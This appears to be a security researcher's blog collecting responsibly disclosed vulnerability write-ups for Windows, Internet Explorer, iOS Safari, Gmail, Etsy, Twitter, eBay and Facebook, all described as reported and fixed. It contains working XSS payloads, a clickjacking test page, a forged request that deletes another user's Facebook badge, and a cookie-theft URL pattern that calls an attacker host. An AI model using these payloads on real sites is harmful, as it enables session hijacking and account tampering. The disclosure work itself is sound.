Pages

Wednesday, March 19, 2014

The Kernel is calling a zero(day) pointer – CVE-2013-5065 – Ring Ring


Here's my analysis of a PDF file which contained two different vulnerabilities, a remote-code-execution vulnerability in Adobe Reader and a new escalation-of-privileges zero-day vulnerability in Windows Kernel.

The full story:
http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html

A flaw in NDProxy driver while processing Telephony Application Programming Interface (TAPI) operations, was used to cause the Kernel to dispatch out-of-boundaries function. Therefore, one could exploit this vulnerability and gain SYSTEM privileges and bypass different sandbox protections.

The vulnerability allows index control of the following static function table, which get executed in the kernel context:


Dispatching the invalid PxTapi function results access to address 0x0 in memory and crash:



Sunday, November 10, 2013

The Technical Aspects of Exploiting IE Zero-Day CVE-2013-3897


Just last month, during our work at spiderlabs research, the team and myself had the chance to analyze CVE-2013-3897 Use-after-free vulnerability.
This vulnerability was basically a result of an object type CDisplayPointer being freed and used again when a richtext tries to scroll the pointer into the current view.
A flow that includes a selection, that occurs under "onpropertychange" event, and a DOM that contains a textarea structure (detailed below) results a possible remote code execution.

Breaking it to down
1. Create a TEXTAREA and apply a different element as a child using applyElement. This will place theaddress element as the child of the textarea element.
Steps1
2. Trigger a select event on the TEXTAREA element to create an instance of DisplayPointer.
Steps2
3. Inside onselect event change the value property of the TEXTAREA element, which in turn will fire the eventonpropertychange. For example, usage of appendChild or swapNode will cause this behavior. 
Steps3
Notice that id_2 (“address” element) is a child of the TEXTAREA element. By swapping that element we remove it from layout of “textarea” and insert a different element, therefore the value property changes.
4. The event onpropertychange is triggered
Steps4
5. In the next stage we basically need to change the position of the display pointer within the TEXTAREA layout. In the original exploit document.execCommand(“UnSelect”) was used. However, selecting a different element, executing the SelectAll command or any operation that causes a DisplayPointer position change will also work. 
1
The attacker used "UnSelect" command
6.  The JavaScript selection causes a call to CDisplayPointer::ScrollIntoView, which tries to set a new position for the DisplayPointer. At this stage, the reference to CMarkupPointer is already released by the CDisplayPointer::Release function (as a result of the “UnSelect” command) and therefore points to an attacker-controlled heap area.
The flow eventually gets into QIClassID, which tries to execute “CMarkupPointer::QueryInterface” (located at offset 0x0 in CMarkupPointer’s virtual table).
QIClassID (use): 
Blog 2
QIClassID disassemble crash point

At the crash we end up with the following stack trace:
Stack

CMarkupPointer freed and then used by QIClassID:
Most of this post was originally generated here:
(http://blog.spiderlabs.com/2013/10/ie-zero-day-cve-2013-3897-technical-aspects.html)


Monday, February 11, 2013

X-Framing them all! - Cross-Framing is "impossibe" - Apple’s iOS 5

Cross Framing Google, Facebook and whoever you wish. 


Jailbreak Your Device? or buy android?

This post is mostly for people who hold iPhone/iPad/iPod or any other iDevice.

As for today at least for most people, jailbreaking is a serious concern and as for my experience it can even determine whether or not to purchase IOS(Apple) or Android(Google) device.
 there are quite many differences that comes to mind, one bold example is that the exact same application (whatsapp for example) would be free if you hold an smart-device who runs android, and would cost money if you use iDevice unless it is jailbreaked.
Some people even say the reason there was no jailbreak for iPhone5 might affected the apple sales, New York Times post on “Apple Earnings”
“Once-euphoric investors, who pushed Apple’s stock to a record high of $702.10 last September, have become nervous, and in early trading on Thursday, the stock traded at $455.89, down more than 34 percent from its peak.” (http://www.nytimes.com/2013/01/24/technology/apple-earnings.html)


Are you, behind? IOS 5.1.1? 6.0.1?

Since the only reason to convince us to upgrade to IOS 6 are update you already have with your installed Cydia tweaks, people just “stay behind” and use IOS 5.1.1 or lower to still have a nice jailbreaked iPhone. 

So you use IOS 5 or lower? Are you Safe?
As for today we already know there are many web application vulnerabilities around, client side attacks and mostly cross site scripting have become one of the most common attacks in the past recent years.

Google, Facebook, Microsoft, Paypal, Mozilla, Apple and many other great companies have tried to fight against the security risks to give us - their product customers, the answer to keep our data safe.
But do they?
Many of the web application developers had to deal with many different client side attacks and design their security architecture to protect their users and avoid different hacking attempts targeting their customers, since some attacks such as frame-busting click-jacking, multiple stage attack, self-XSS exploitation etc, are not easy to deal with and require browser cooperation.
There are quite a few client side security solutions such as Anti-XSS filters; No-Script, XSS-Auditor, SoP different headers, Caching, and X-Frame-Options header which define how the interpreter handles a response from a webpage loaded insde frames.


Safari on your iPhone(or iDevice) – you CHOOSE to stay vulnerable:

So Google’s/Facebook’s/Paypal’s/Any_Other web developers(including myself) can rely on browser implemented security features and protect their webpages from Client side attacks mostly from Click-Jacking and staging attacks with X-Frame-Options, setting it so that the webpage content will only be displayed after a request coming from the Same-Origin or completely disable Framing and thinking everything is now secured, what we unfortunately forget it is basing the protection on browser's client security. 

What if the browser fail?
I reported to apple 2 months ago at 06/12/12, that I discovered that even though the web server (in this example “www.google.com”) set HTTP response header, X-Frame-Options Header to Same Origin the response will still be displayed using my iDevice.

As you can see in the following PoC HTTP response while sending HTTP request to Google.com:

HTTP/1.1 200 OK
Date: Thu, 06 Dec 2012 15:54:50 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Server: gws
X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN
Content-Length: 99283 


Setting this header suppose to provide browser client side security that will allow the iframe element to be displayed only if the parent document is at the same origin/domain of the iframe src attribute.
It appears the Safari Browser does not enforce X-Frame-Options and therefore displays our frame element as it did not even have any protection.


Normal Behavior IE9 enforcing X-Frame-Options: 




Safari on IOS 5:




PoC Test Page:
<html>
<head><title>X-Frame-Options Bypass</title></head>
<h1>Apple PoC X-Frame-Options </h1>
<iframe id="X" src="http://www.google.com"></iframe>
<script>
framex = document.getElementById("X");
framex.onload = function () { }

</script>
</html>

Btw, This also means ClickJacking Anywhere Over IOS 5 and lower victims.

So What Should I Do?

Well, Apple did good and fixed this issue in the New IOS (6.0.1)
Unless you want to stay vulnerable knowning you can be a victim to advanced client side attacks over your gmail/facebook make sure you use IOS 6.


Sunday, August 26, 2012

White-hat cyberbug bounty nets cash - NYPOST

White-hat cyberbug bounty nets cash

By SARA ASHLEY O’BRIEN

Come on, White Hats: Hack into our system, find a bug — and make it an interesting one! This seems to be the resounding message that major online businesses are spreading.
With US spending on cybercrime security estimated to exceed $23 billion this year, according to the research company Gartner, online businesses are onto the fact that cybercrime is a very real threat.`


`Businesses like Facebook, Google, Mozilla, Adobe, Microsoft and, as of June, PayPal, have developed “Bug Bounty” programs to recruit savvy security researchers like Hayak to help fight the good fight against cybercrime.


These Are snippets from a great story I got to be part of advertised in the NYPOST

Read more:
http://www.nypost.com/p/news/business/white_hat_cyberbug_bounty_nets_cash


Great Write 
I appreciate the story very much, Thank you NYPOST


Wednesday, June 27, 2012

Google Mail Hacking - Gmail Stored XSS - 2012!

Gmail Accounts Hacking Risk 2012! 

Millions of users use Gmail as their information center to perform actions such as Business, Chat, Place Orders, Payment confirmation, main password recovery mail for different web services and so on...
many people - including myself use Gmail to store and save important and personal data, none of us want our data to be at risk of steal, manipulation, and obviously not considering the Gmail account being completely hacked!
I found a possibility to do all that!


Fortunate enough for us, Google is taking a lot of efforts securing their services. mostly by doing a great job, which integrates supporting a vulnerability reward program.


I made a quick research and reported this vulnerability along with all the related details. 
I must say Google's response was very quick and so as their fix. (it is Fixed)


as it appears here :Vulnerability Reward Program even after the bounty raise:
Google's Reward for this bug: $1337 (mail.google.com)
PoC Picture:


Technical Details: 

I am quite busy at work and personal life at these days so I placed a side the reward programs of Google, Facebook And others.


I was just checking my mail the other day and I noticed something different.
Google made this nice change in Gmail , apparently around December 2011 - Google Adds circles to Gmail 
"Users can now Filter their Mails based on their Circles"


Trusting your Google+ Friends?

When I clicked this Gmail Circles feature, I saw my Google+ connections: profile pictures, nicknames and some other circles related data 
Do they Control this data?! - Yes!
I had to spend some time back in the business, Gmail Stored XSS is a serious finding!

So I imminently researched that feature's JavaScript code.
It appeared that data that comes from Google+ was not sanitized by Gmail!

    zk.prototype.Ca = function $pn(a, c, d) {
        this.xa = 0;
        if (!this.ea) {
            //Shorten/removed
            var e = this.Bb.zb().body, g = this.ea.va();
            //Shorten/removed
            e.wa = h
        }
        a: {
            if (d)
                switch (d.toLowerCase().split(",")[1]) {
                    case "l":
                        break a;
                    case "r":
                        /removed;
                        break a
                }
            e = 2
        }
        this.wa.setPosition(cka(d), e, i, -1);
        jc(this.ea.va(), "T-ays-avH");
        ud(this.ea.va(), 0, 0);
        this.ea.Mc().innerHTML = c; //c = Data from Google+;
        this.wa.To(a);
        this.wa.Me(k, 0)
    }; 


This Gmail Code was creating a Tool-tip that Included profile circles information that comes from your Google Plus friend's account, if they used a payload, your mail account would have been at a serious risk.


Exploiting the Vulnerability - malicious Google+ Account.


As First it is important to note that Anyone that already got accepted as your friend in Google+ could trigger this attack on your Gmail account!

So all that is left is crafting a very nice Google+ account with some attractive profile, then after this evil account gets many friends/victims - Attack em all!

Google+ was and still is blocking the possibility of using a payload in the required field that was used to trigger this attack, but I found a way around it, sorry but I cannot reveal how I did that. (I am sure some of you pros might know how).

After I used my technique and crafted the Google+ evil profile it was possible to attack Gmail of all of that profile's friends! 


PoC Picture: 



As always I appreciate the opportunity to preserve my skills and gain some more experience
Thank you Google security team.


"Ben Hayak" - Google Security Hall of Fame Page
http://www.google.com/about/company/halloffame.html



Friday, June 15, 2012

Layer3 DOM XSS in Latest jquery - Etsy

Turning Useless Self DOM XSS into a treat!

During my research and study over DOM XSS and developing my own detection technique, I found this interesting case which a DOM XSS undetected by any DOM XSS scanner I came across triggered, so I decided to share and provide a quick overview of how I took this self layer 3 DOM XSS into a Working and exploitable DOM XSS.
it all started with this small code:

1
2
3
4
<script type="text/javascript">
Etsy.loader.require('jquery.ba-hashchange');
Etsy.loader.require('help');
</script>

This is Going to be a long one but this covers:

  • DOM XSS.
  • Logic Flow Exploitation .
  • JQuery Vulnerability (Latest release - Unpatched yet).


Final Conclusions:
1. 1st conclusion(easy) the main javascript layer loads a second dynamic block (covered)

2. the payload goes through the dynamic code block and inside gets through a filter to avoid DOM XSS (appears as Self-Only).
3. the layer 2 code block loads another layer(3) this time it is jquery, and then exectue a function that is vulnerable to DOM XSS(latest version 1.72 and older versions as well).

Self DOM XSS?

using the help section search feature I could trigger a very simple XSS by typing the payload in the search box and hit search X_X,This is pretty lame. 
(once I used a payload directly in the url it got filtered without trigger)
We need the victim to be careless enough to actually type the payload and click the search button. I consider this situation as almost worthless and low risk Self XSS,
so I thought this might be useless and not exploitable.

Strange Behavior (not so fast...):

But, that is when I noticed a strange behavior! Look at the picture below:
 (using a payload of <img src=1 onerror=javascript......>)



Something strange?

If you do not see it you should gather yourself and look more carefully next time you think you covered the security holes and were about to report: not exploitable or low risk vulnerability.



What is so strange?


what you can see in the picture is that the XSS triggered (<img src=1> TAG) and for some reason the payload "disappeared" from the URL Query right?

Oh wait, was it??? No!
It was only filtered! the query is now changed to "http://site.com/help/2643#/afsddddddd/1" where did that "/1" came from? what is going on?
let us run more tests:
Look what happens when I used this URL:
"http://site.com/help/2643#/String     2ndString/1"

The filter turned it into the following:
http://site.com/help/2643#/String/2ndString/1

Now that is definitely worth a deeper look at the code loaded as layer 2:


Filter Details (YES It is vulnerable):

The Filter was checking for location.hash, and replaced any space with a "forward slash" to separate the query string as well as replacing any potential XSS HTML Tag with NULL using a regex.

seems right, but, There was a HUGE Security Hole.

Final Conclusions again:
1. 1st conclusion(easy) the main javascript layer loads a second dynamic block (covered).

2. the payload goes through the dynamic code block and inside gets through a filter to avoid DOM XSS (appears as Self-Only) (covered).
3. the layer 2 code block loads another layer(3) this time it is jquery, and then execute a function that is vulnerable to DOM XSS(latest version 1.72 and older versions as well).

HUGE Security Hole in legitimate XSS Filter:


This is where the magic happened! there is a javascript code block condition, this condition determines if the user is actually using the search feature and should be checked for DOM XSS using the layer 2 code block javascript code or not.
after researching all the relevant code in the javascript filter block, it appeared that exploitation is pretty simple!
legitimate behavior:
http://site.com/help/2643#/PAYLOAD/1

So once the search string starts with Forward Slash "/" the condition match, the system consider this a legitimate safe search, and the filter will replace any payload with NULL then pass filtered payload to a vulnerable jquery function.

Remember! This is a DOM event that executes jquery!

So what had to be done is:
1. Insert a Forward slash into the global URI (Before the hash sign).


2. Then insert the payload into the client-side only URI (Right after the hash sign without a slash)

Logic flow Vulnerability:
This way I managed to Trick the system to pass the Forward Slash Condition, and cause the filter to fail and step over the regex to the next stage of passing my payload directly into the vulnerable jquery function!

Final Payload:
http://site.com/help/2643/#<img src=1 onerror=javascript:alert('EXPLOITABLE!')>




but why is this vulnerable?


Vulnerable DOM XSS CODE - 

JQUERY(line 10):



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(function(){
        o=$("#attachment-shim");
        k=$("#file-form");
        var a="iframe"+(new Date).getTime();
        g=$('<iframe id="'+a+'" name="'+a+'" />').hide();//<iframe id="iframe1334892619493" name="iframe1334892619493" />

        k.attr("target",a).after(g);
        o.bind("change",q);
        if(a=window.location.hash.substring(1)) // sets a to "<img src=1 onerror=javascript:alert(1)>"
if($('a[name|="'+a+'"]')[0]) { // GAME OVER we got our Executer "a[name|=\"<img src=1 onerror=javascript:alert(1)>\"]" (later will be parsed with jquery " for(s.innerHTML=m[1]+l+m[2];o--;) "
            a=$('a[name|="'+a+'"]').parents("div.topic");
            a.find("ol span").removeClass("bottom");
            a.find(".view-less").show();
            a.find(".view-all").hide()
        }
        else m();
        f=true;
        topic_box=
        $("#topic");
        topic_box_val=topic_box.val();
        if(topic_box_val!=0||$("#message").val()!=""){
            d=true;
            h=topic_box_val;
            n()
        }
        
    })()
});

inside this "IF" Condition(line 10) there is a call to a vulnerable jquery function:

if($('a[name|="'+a+'"]')[0])


Which executes a function in jquery code that include the following line:
for(s.innerHTML=m[1]+l+m[2];o--;)

after bypassing all of these conditions our payload will be stored in "l" variable like this

l = "<img src=1 onerror=javascript:alert('DOM XSS')>"
and as a result of the for loop, will be injected into the innerHTML of the page triggering the XSS.

After I reported I noticed that, I never knew but it seems like there is an opened ticket in jquery bugs,
Reference: http://bugs.jquery.com/ticket/9521

Final Conclusions again:
1. 1st conclusion(easy) the main javascript layer loads a second dynamic block (covered).
2. the payload goes through the dynamic code block and inside gets through a filter to avoid DOM XSS (appears as Self-Only) (covered).
3. the layer 2 code block loads another layer(3) this time it is jquery, and then execute a function that is vulnerable to DOM XSS(latest version 1.72 and older versions as well) (covered).


It is always fun when web applications are open for a vulnerability report allowing me to research over these very interesting security flows that requires combining all the pieces together.


Thank you etsy!
Etsy Thank you list: http://www.etsy.com/help/article/2463

Tuesday, May 8, 2012

Twitter Vulnerability Potential XSS Worm!!! another hero?

Twitter is one of the leading social networking and information sharing system these days.
I have recently discovered(and reported) a XSS vulnerability that if not reported could lead to something similar to "HyHack is my hero"  ;).

For whoever of you who did not know, Twitter Implemented a feature called "Lists", this feature lets any user  the ability of adding anyone, without any terms or relation to the "follow" mechanism (they don't have to follow the attacker and vice versa)*, to his malicious XSSed list.

The reason of this being so High Risk stored XSS vulnerability, is that the attack potentially triggered on anyone who entered the attacker's profile "Lists" using a mobile. after a victim got infected, the attack triggers again and infect anyone who will view the victim's "Lists" and anybody who will view theirs and so on... (only victims that will use a mobile will get infected! reminds you of something? )

*I did not test if a user can add a protected (locked) people to his lists.  any comment on this will be appreciated.

PoC Picture watching the victim's profile:

The effect of this XSS is ONLY on victims that use twitter on Mobile!
I most say the lists feature was not fully implemented in the browser at the time I was testing, so most of my testing performed on the "Me" tab.
Twitter did a great job resolving this vulnerability very quickly (~Day after my report), and placed my name in the Twitter Security Whitehats page(2012) later on.
I would like to thank Twitter for their work and for giving me the opportunity to report a responsible disclosure and help keeping Twitter Users safe.

Sunday, May 6, 2012

eBay Security 2011 & 2012 Wide Security Vulnerabilities

eBay has different websites for different countries, As a result of a wrong implementation of some common feature in eBay websites, I've discovered a wide vulnerability that makes all of eBay's users vulnerable and at risk of being hacked!


2012 - XSS Wide Vulnerability 

The payload was injected into a script tag,
bypassing browser's anti-xss filters, and with the ability of full session hijacking and
hacking into eBay's users.



This Time eBay did a great job fixing this vulnerability.


2011 - Vulnerability in all eBay Stores
in 2011 I've Discovered a vulnerability which was quite simple to exploit since user input passed through character blacklist which until my report didn't sanitized input correctly.



2011 - Interesting Wrong Fix - 


Bypass: Single Parameter Splitting Injection XSS (alert isn't the goal!) 

After my report to the manager of eBay security team, eBay came up with a fix.
this fix contained a server side update to the character blacklist, this time they made it so it will replace the "plus(+)(%2B)" sign and occurrences of "Double Slash(//)" with nothing("") in addition to the filtering of "Brackets (<>)" ,Limiting the parameter's allowed lenght and other forbidden characters.

So, alert? prompt?? could you steal a cookie with alert? can you do it without generating a request to your domain?
A request to the attacker's web listener would normally(there are some techniques to evade that, this bypass comes to show how to deal with a normal real situation) require the use of double slash "plus" sign and long payload.  i.e 'http://attacker.com/?s='+document.____  so it may seem like a partial but anti-session hijacking fix.
After working on this filtering I came up with a modified payload which could be used to bypass the filtering and generate a requests to an attacker's website with the user's sensitive web elements/objects! (including cookie!), then I made a video of full-session hijacking.
the reason I am posting about this issue is the interesting vector of my bypass.
Enjoy watching:



eBay did and still doing a great job as they take great care for security, I thank them for that.
I am pleased I could help eBay's security team making eBay's users and customers a bit more secure.

For all of my reports (2011-2012) and security assistance to eBay, eBay gave their special appreciation ;)

Thursday, August 25, 2011

Uncrackable? - Exceptional Cracking

Okay, I've been waiting for a long time for a case worth posting in my blog. I ran into this one during a search for much less interesting, standard challenges, for teaching newbies the basics of RE.
This one is a bit beyond what you guys are used to, and I really want you to give it a try before you read this. If you crack it quickly then don't bother reading, if you already have 3 letters of the serial and you're stuck you should start reading from phrase F.

I won't teach you how to use a debugger or how to trace the relevant RE chunk of code, there's tons of tutorials that'd do just that. You should consider this as a case study, what's interesting is the case itself and my focus would be accordingly.
Background:
One of the reasons I chose this crackme is because it "forces" u to focus on discovering the serial itself and not just 'patch & trash' waste of time, additionally the serial discovery is special.
Goal:
The goal is to find the serial key. I'll show the entire process including the method I used and why I chose to use that method, and I'll hand over the correct serial.
CrackMe Download Mirrors:

Friday, April 8, 2011

Facebook Vulnerability - Destroy Any advertisements/badges! (permission issue)

These days Facebook is one of the heaviest engine of advertising, many companies use Facebook to promote their products and even hire people to deal just with that.


I found an attack vector that can be used by any hacker to delete badges/ads from people's/companies's accounts which will cause a damage to every blog/other website
because a new bages will have a new "bid" so every website will drop the old badge.

This issue effects the Badges feature 
As for: 
Badges Home
Profile Badges
Like Badges
Photo Badges
Page Badges

Vulnerability Details:
A user uses the badges feature to share on blogger or any other place
an attacker see the bage in some website/blog:
<img src="http://badge.facebook.com/badge/1403380007.3098.1711802846.png" width="336" height="84" style="border: 0px;">
Analyzing the Picture's name:
The first number 1403380007 is the Victim's facebook owner ID
(it's easy to get this id using a simple search in facebook)
Now the middle number: 3098 is the bid(badge id) 

Now what the Attacker needs is to capture a deleting badge packet
and manipulate the "bid" and "owner_id"

POST /ajax/facebook-widgets/delete_badge.php?__a=1 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/badges/profile.php?status=new
Origin: http://www.facebook.com
X-SVN-Rev: 349667
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycookie
Content-Length: 137

bid=3098&owner_id=1403380007&post_form_id=073ca00487f1c8fb8903a6ff04ed57be&fb_dtsg=4xsur&lsd&post_form_id_source=AsyncRequest&confirmed=1

Then a successful badge delete will be performed on the victim's account


The Facebook Team Fixed this issue and thanked me by adding my name into the Facebook WhiteHats thank you list : Facebook Security WhiteHats

Best Regards,
Ben Hayak